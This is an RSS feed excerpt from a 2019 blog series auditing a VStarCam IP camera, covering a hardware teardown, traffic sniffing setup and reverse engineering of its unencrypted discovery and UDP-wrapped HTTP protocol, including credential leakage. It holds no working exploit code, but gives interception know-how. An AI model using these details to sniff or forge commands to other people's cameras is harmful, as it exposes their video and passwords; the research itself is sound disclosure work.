      <content:encoded><![CDATA[<p>I figured since a majority of people would be using the Android client, I would start my audit there. The Android app, Eye4, is available in two separate downloads, one from the <a href="http://www.eye4.so/AppDown.html">Eye4 site</a>, and one from the <a href="https://play.google.com/store/apps/details?id=vstc.vscam.client&amp;hl=en">Play store</a>. They also have a <a href="http://www.eye4.so/download/">Windows download</a>, which I will audit later.</p>
<p>The first thing I wanted to do is compare the Play store APK with the Eye4 site APK to see if there is any foul play going on, but unfortunately their personal download on the site didn&#39;t work and lead to a blank page.</p>
<p>We want to start our network sniffer, and begin our testing process.</p>
<p>First thing we want to do is boot the camera up after resetting it for the first time. This makes sure we have a clean slate when working with the camera. We will be resetting the camera multiple times to make sure we have lots of samples to compare.</p>
<p>Without connecting to any client, we will boot the camera up, connect to our sniffer, capture all the boot network data, then reset the camera, stop capture, and restart the whole thing. We do this about 2-3 times to get an idea of what the booting process looks like.</p>
<p>After that, we will connect the camera to the client, by searching for LAN in the client and connecting that way. Delete the camera, reset, then try it again. Do this multiple times to get multiple captures.</p>
<p>After that, we will fully connect the camera to the app, changing the password, as well as using various features, such as camera control, taking videos/pictures, changing settings, etc.</p>
<p>Once we are satisfied with our captures, we will begin dissecting them packet by packet.</p>
<h2>Boot Sequence</h2>
<p>First impressions of boot sequence captures, what do we notice?</p>
<p>1. Take a look at some of the packets in the capture. 1. Do we see packets that have similar contents? 2. Can we see similar parts of packets that have small contents changed or replaced. 3. Do we see plaintext words/phrases? 4. Do we see commonly known numbers, ids, serial numbers, etc?</p>
<p>If you answered yes to any of these then the device most likely doesn&#39;t use encryption. This also means the device leaks data.</p>
<p>So let&#39;s go through the packets.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark1.png" style="width: 100%; height: 100%;">
</center>
<p>The first weird thing I noticed is that the camera picked up a weird IP address for my network. It started out with the ip address 192.168.1.126, but my internal network range is 192.168.11.(100-254) meaning this camera had already come with this configuration. It also broadcasts an ARP looking for 192.168.1.1, and sends out a bunch of &quot;Hello I&#39;m online!&quot; messages. Already this doesn&#39;t bode well, as it looks like they aren&#39;t using any encryption. Maybe it&#39;s a fluke, let&#39;s dive deeper.</p>
<p>I also saw that the device also contacts a couple external hosts</p>
<p><em> s2.vstarcam.com via UDP </em> s3.vstarcam.com via UDP <em> s2.eye4.cn via UDP </em> An Amazon EC2 instance via UDP <em> Google&#39;s public DNS, looking for baidu, wshifen.com, a.shifen.com </em> An Alibaba cloud instance which it talks to via HTTPS. <em> A Tencent cloud instance which it talks to via HTTP </em> time.windows.com via NTP</p>
<p>What did we learn?</p>
<p><em> The device may not use encryption </em> The device may leak data as a result.</p>
<p>Let&#39;s take a look at the client&#39;s first registering of the camera, and it&#39;s first communications.</p>
<h2>Registering the camera</h2>
<p>I loaded the app onto an android emulator and went to town. I started by registering  the camera to the client by using the &quot;search for LAN&quot; feature.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark2.png" style="width: 100%; height: 100%;">
</center>
<p>First thing we notice is that when the Android client initiates the connection, it doesn&#39;t talk directly to the camera, it instead sends a UDP packet with the contents 0x44480101. We will call this the <strong>Discovery Broadcast Packet</strong> or <strong>DBP</strong> for short. he camera then replies back with a 0x44480108, and then dumps a bunch of settings information to the broadcast address. We will call this the <strong>Discovery Broadcast Reply</strong> or <strong>DBR</strong>.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>For some reason Wireshark labels this packet as an <a href="https://wiki.wireshark.org/ASTERIX">ASTERIX</a> packet, which when I looked it up seems to have nothing to do with this protocol. Maybe it shares a port or something and Wireshark incorrectly labels it.</p>
<p>When you look at the data incoming, we can start to see how this packet is laid out. The first 4 bytes are a signal to the client that it&#39;s looking for it, the followed by a space specifically carved out for an IP address, plus one 0x00 byte to delimit. The way we can tell this is because if we were to count the chars in a full IP address string (XXX.XXX.XXX.XXX which is 15 bytes, plus a 0x00 byte to delimit, making it 16 bytes.) We can see the next IP address (Which is the netmask) would be adjacent to that.</p>
<p>The camera then sends an exact copy of the packet it just broadcast, directly to the client.</p>
<p>After this little dance the camera and client talk directly to each other. We see it chooses the port 47499, which when converted into hex is 0xB98B. We can see in the 0x80 row of the large packet above, there is a 0xB98B in little endian. This must be how the camera negotiates what port the client will talk to after the discovery phase.</p>
<p>When we compare this port number to our other captures, (remember, I captured the registration process, then reset the device, then did it again to see if I could notice any patterns.) we notice that the port changes with every reboot.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark5.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the contents of the HTTP GET request shows a sad truth, the devices doesn&#39;t use any encryption for it&#39;s client communications. This super concerning because not only does this compromise security of the device, especially on wireless, in an earlier capture, we have SEEN the device actually use SSL. So they are just choosing not to?</p>
<p>Looking at the reply brings much of the same sadness.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the HTTP headers, we can also see that the web server the device is GoAhead webs, an embedded web server, and it also hasn&#39;t been updated since 2004. JUICY!</p>
<p>So this is where it gets interesting.</p>
<p>So, they already have an HTTP server to talk to the camera and serve CGI scripts, but they decided to add an extra protocol on top of that. This is where some strange UDP protocol starts to come into play.</p>
<p>Even though the camera and client were literally just talking via HTTP, it seems to forget all about that and try again to search for a new camera. The client sends out a 0xf1300000 packet to my subnet&#39;s broadcast address (192.168.11.255). We will call this packet the <strong>Broadcast Connection Packet</strong> or <strong>BCP</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark7.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then replies back with a small part of its UID and the letter A. The client repeats this message back to the camera. We will call this the <strong>Broadcast Packet SYN</strong> or <strong>BPS</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark8.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then sends the same packet back, this time with the A changed to a B. We will call this the <strong>Broadcast Packet ACK</strong> or <strong>BPA</strong> for short</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark9.png" style="width: 100%; height: 100%;">
</center>
<p>Finally we arrive at the main phase of the connection, here we can observe three things happening.</p>
<p>1. The client and the camera are constantly engaging in a &quot;ping pong&quot; pattern message loop, where if either the client or the camera receives a 0xF1E0000 or 0xF1E10000, it replies back with the other packet. So for example, if a 0xF1E0000 is received it will reply back with 0xF1E10000. For reference 0xF1E0000 is ping, and 0xF1E1000 is pong. <em> You can illustrate this best by using the Wireshark filter below </em> <code>frame contains F1:E1:00:00 || frame contains F1:E0:00:00</code> * &lt;img src=&quot;/images/vstarcam/wireshark/wireshark10.png&quot; style=&quot;width: 100%; height: 100%;&quot;&gt;</p>
<p>2. The client sends GET requests with a special header, via UDP to the camera. The client receives replies back denoting success or failure, and the results of the query, sometimes broken up into multiple packets. 3. The client receives video and picture data from the camera. <em> livestream.cgi </em> snapshot.cgi * audiosteam.cgi Let&#39;s focus a little more on number two, since one is already solved, and three requires more extensive knowledge of video formats and decoding.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark11.png" style="width: 100%; height: 100%;">
</center>
<p>The first 16 bytes of the packet are some sort of specialized header. We are going to want to get more samples of these to be able to learn how to forge our own. We also want to get samples to see if it might be vulnerable to replay tactics as, the header might block potential replay attacks. After that comes the GET request. Right off the bat we are hit with another oddity of the client, credential leakage, and unnecessary duplication. Not only are the communications not encrypted, so it also leaks the password on every GET interaction but, it also repeats the credentials twice just in case the first time wasn&#39;t good enough.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark12.png" style="width: 100%; height: 100%;">
</center>
<p>A short time afterwards the camera sends a packet that looks like this. This seems to acknowledge that the command went through.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark13.png" style="width: 100%; height: 100%;">
</center>
<p>Here we see another GET Request but this one is called &quot;trans_cmd_string&quot;. No idea what this did at the time, but I took note of the two arguments cmd, and command.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark14.png" style="width: 100%; height: 100%;">
</center>
<p>We see a standard reply, again, comes with a special 16 byte header, and what seems to be some sort of Javascript or some sort of configuration. This was the reply to check_users.cgi.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark15.png" style="width: 100%; height: 100%;">
</center>
<p>This is another oddity, some times the GET request would have multiple stacked inside, starting with a 16 byte header, and padding each request with 8 bytes in the front.</p>
<p>What did we learn?</p>
<p><em> The device has some sort of HTTP service open, but the port changes for some reason, most likely with reboot. </em> The device has some strange UDP protocol that encapsulates GET requests sent to the netcam. <em> The device leaks username and password, as well as has confusing and strange argument duplication </em> The device uses no encryption what-so-ever to encrypt video feeds and pictures sent by the device to the client. <em> UDP GET requests have a special packet header </em> The protocol is written in faulty ways, exemplified by the duplication of elements, strange request packing, and odd behavior.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Password Hashes &amp; Exploitation</title>
      <link>https://sol.vin/vstarcam_journey/2.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/2.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <description><![CDATA[<p>Before I work on sniffing the client communications, I wanted to try a little discovery first to see anything interesting with the device.</p>
<h2>Nmap</h2>
<p>Since the device was pretty much a black box to me, I wanted to see if I could discover any services/open ports beforehand. Nmap didn&#39;t notice any open ports when I scanned, which was a bit odd.</p>
<h2>Setting up network sniffing</h2>
<p>You can set this up one of two ways depending on the hardware.</p>
<h3>Poor man&#39;s method</h3>
<p><em> Two USB to Ethernet Dongles (<a href="https://www.amazon.com/gp/product/B00M77HMU0/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;psc=1">Recommended</a>) </em> Two PCI Wired Ethernet Cards</p>
<p>Use a utility called <a href="https://linux.die.net/man/8/brctl">brctl</a>, it&#39;s fairly straight forward to set this up, but I did have issues here and there with weird drops in connection.</p>
<p>These are the commands I used <em> brctl addbr br0 </em> brctl addif br0 [camera-interface] * brctl addif br0 [sniffing-interface]</p>
<h3>Rich man&#39;s method</h3>
<p>For this you need <em> One USB to Ethernet Dongle or PCI Wired Ethernet Card </em> Enterprise level switch</p>
<p>When I found out I could do this with my Cisco Catalyst 3750 I was ecstatic. For some reason, bridging didn&#39;t always work 100% as expected with the USB dongles and sometimes my internet would drop out while I was listening in on the camera. Once I found out you can use monitor session to forward packets from the camera to a one directional port, it saved me a lot of time and heart ache.</p>
<p>Just add this to your config. <em> monitor session 1 source interface Gi4/0/13 </em> monitor session 1 destination interface Gi4/0/23</p>
<p>You can then plug ther USB dongle into the switch on port 23, and all port 13 traffic will be routed there as well!</p>
]]></description>
      <content:encoded><![CDATA[<p>Before I work on sniffing the client communications, I wanted to try a little discovery first to see anything interesting with the device.</p>
<h2>Nmap</h2>
<p>Since the device was pretty much a black box to me, I wanted to see if I could discover any services/open ports beforehand. Nmap didn&#39;t notice any open ports when I scanned, which was a bit odd.</p>
<h2>Setting up network sniffing</h2>
<p>You can set this up one of two ways depending on the hardware.</p>
<h3>Poor man&#39;s method</h3>
<p><em> Two USB to Ethernet Dongles (<a href="https://www.amazon.com/gp/product/B00M77HMU0/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;psc=1">Recommended</a>) </em> Two PCI Wired Ethernet Cards</p>
<p>Use a utility called <a href="https://linux.die.net/man/8/brctl">brctl</a>, it&#39;s fairly straight forward to set this up, but I did have issues here and there with weird drops in connection.</p>
<p>These are the commands I used <em> brctl addbr br0 </em> brctl addif br0 [camera-interface] * brctl addif br0 [sniffing-interface]</p>
<h3>Rich man&#39;s method</h3>
<p>For this you need <em> One USB to Ethernet Dongle or PCI Wired Ethernet Card </em> Enterprise level switch</p>
<p>When I found out I could do this with my Cisco Catalyst 3750 I was ecstatic. For some reason, bridging didn&#39;t always work 100% as expected with the USB dongles and sometimes my internet would drop out while I was listening in on the camera. Once I found out you can use monitor session to forward packets from the camera to a one directional port, it saved me a lot of time and heart ache.</p>
<p>Just add this to your config. <em> monitor session 1 source interface Gi4/0/13 </em> monitor session 1 destination interface Gi4/0/23</p>
<p>You can then plug ther USB dongle into the switch on port 23, and all port 13 traffic will be routed there as well!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Network Protocol Analysis</title>
      <link>https://sol.vin/vstarcam_journey/1.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/1.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/1.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/2.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/3.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/4.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/5.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/1.jpg" />
      <description><![CDATA[<p>The camera itself has some pretty useful hardware, some which could be very easily taken advantage of with the right tools.</p>
<p>Just a couple simple Phillips screws and you are inside.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/2.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/3.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/4.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/5.jpg" style="width: 50%; height: 50%;">
</center>
<p>The processor it uses is a <a href="https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf">HI3518</a> which apparently has already been hacked by other means. I quickly read through <a href="https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/">this article</a> and unfortunately failed to locate any TX/RX pins I could solder into. I was a little disappointed by this, I had a spare <a href="https://www.adafruit.com/product/954?gclid=CjwKCAiA8OjjBRB4EiwAMZe6yxta0hJQ_LydoYYRmQZOcads5iQkKwx57GYrMg-mw2HqAiDatI9WCxoCaYcQAvD_BwE">USB PL2303</a> lying around for just such an occasion.</p>
<p>When googling the HI3518 I noticed a website ispyconnect.com which seemed to be some sort of IP Camera database. I used their <a href="https://www.ispyconnect.com/man.aspx?n=vstarcam&amp;page=1">website to search for my model of camera</a> and ended up finding out the company who manufactured it, <a href="http://www.vstarcam.com/">VStarCam</a>. I want to point out, there is not a single marking anywhere on the device, including on the inside that would signify this to anyone. I also learned on this page that the camera can be potentially controlled by simple GET requests.</p>
<p>On one side of the board you can see an addon board where they added the wireless radio. (It&#39;s the blue PCB with the big silver square and the grey wire)</p>
<p>One other thing of note, the whole camera is powered by 5V DC, meaning you can power this thing off any USB port that can supply at least 1A. This is actually a pretty cool feature, because there are cheap USB battery backup options that could be used to augment the camera so it records even when the power is turned off.</p>
]]></description>
      <content:encoded><![CDATA[<p>The camera itself has some pretty useful hardware, some which could be very easily taken advantage of with the right tools.</p>
<p>Just a couple simple Phillips screws and you are inside.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/2.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/3.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/4.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/5.jpg" style="width: 50%; height: 50%;">
</center>
<p>The processor it uses is a <a href="https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf">HI3518</a> which apparently has already been hacked by other means. I quickly read through <a href="https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/">this article</a> and unfortunately failed to locate any TX/RX pins I could solder into. I was a little disappointed by this, I had a spare <a href="https://www.adafruit.com/product/954?gclid=CjwKCAiA8OjjBRB4EiwAMZe6yxta0hJQ_LydoYYRmQZOcads5iQkKwx57GYrMg-mw2HqAiDatI9WCxoCaYcQAvD_BwE">USB PL2303</a> lying around for just such an occasion.</p>
<p>When googling the HI3518 I noticed a website ispyconnect.com which seemed to be some sort of IP Camera database. I used their <a href="https://www.ispyconnect.com/man.aspx?n=vstarcam&amp;page=1">website to search for my model of camera</a> and ended up finding out the company who manufactured it, <a href="http://www.vstarcam.com/">VStarCam</a>. I want to point out, there is not a single marking anywhere on the device, including on the inside that would signify this to anyone. I also learned on this page that the camera can be potentially controlled by simple GET requests.</p>
<p>On one side of the board you can see an addon board where they added the wireless radio. (It&#39;s the blue PCB with the big silver square and the grey wire)</p>
<p>One other thing of note, the whole camera is powered by 5V DC, meaning you can power this thing off any USB port that can supply at least 1A. This is actually a pretty cool feature, because there are cheap USB battery backup options that could be used to augment the camera so it records even when the power is turned off.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Intro</title>
      <link>https://sol.vin/vstarcam_journey/0.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/0.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/1.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/1.jpg" />
      <description><![CDATA[<p>Hello everyone! Welcome to my new blog!</p>
<p>Today I wanted to talk about a project I&#39;ve been working on, and detail some of the things I found and stuff I tried. I think it&#39;ll be a good post mortem for myself to study later when I need some of these tactics again.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<p>A couple years ago, after watching a <a href="https://www.youtube.com/watch?v=B8DjTcANBx0">wonderful presentation at BlackHat</a>, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn&#39;t the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.</p>
<p>I decided I&#39;d try to do a full security audit on the device. I wanted to try it because I didn&#39;t really know anything about security cameras at the time, and I really wanted to try some of the skills I&#39;ve picked up over the years. Black box testing can be really fun, and I love trying something I have little knowledge of just to see if I can succeed. I ended up learning a lot, which I would love to write down and share.</p>
<p>All source code is on <a href="https://github.com/sol-vin/vstarcam-investigational-journey">sol-vin/vstarcam-investigational-journey</a></p>
]]></description>
      <content:encoded><![CDATA[<p>Hello everyone! Welcome to my new blog!</p>
<p>Today I wanted to talk about a project I&#39;ve been working on, and detail some of the things I found and stuff I tried. I think it&#39;ll be a good post mortem for myself to study later when I need some of these tactics again.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<p>A couple years ago, after watching a <a href="https://www.youtube.com/watch?v=B8DjTcANBx0">wonderful presentation at BlackHat</a>, I bought a cheap $20 unbranded netcam. The camera came with a serial number on the bottom (C7824WIP). The camera itself isn&#39;t the worst, I mean it is a low quality Chinese camera, but the features on the device were pretty interesting. It has 2 axis panning, infrared night vision, speaker, microphone, and both wireless and wired connections, which is pretty good considering it only cost me like $20. However, a couple aspects about the device really made me worry, and as a security guy, I wanted to dig deeper.</p>
<p>I decided I&#39;d try to do a full security audit on the device. I wanted to try it because I didn&#39;t really know anything about security cameras at the time, and I really wanted to try some of the skills I&#39;ve picked up over the years. Black box testing can be really fun, and I love trying something I have little knowledge of just to see if I can succeed. I ended up learning a lot, which I would love to write down and share.</p>
<p>All source code is on <a href="https://github.com/sol-vin/vstarcam-investigational-journey">sol-vin/vstarcam-investigational-journey</a></p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
  </channel>
</rss>
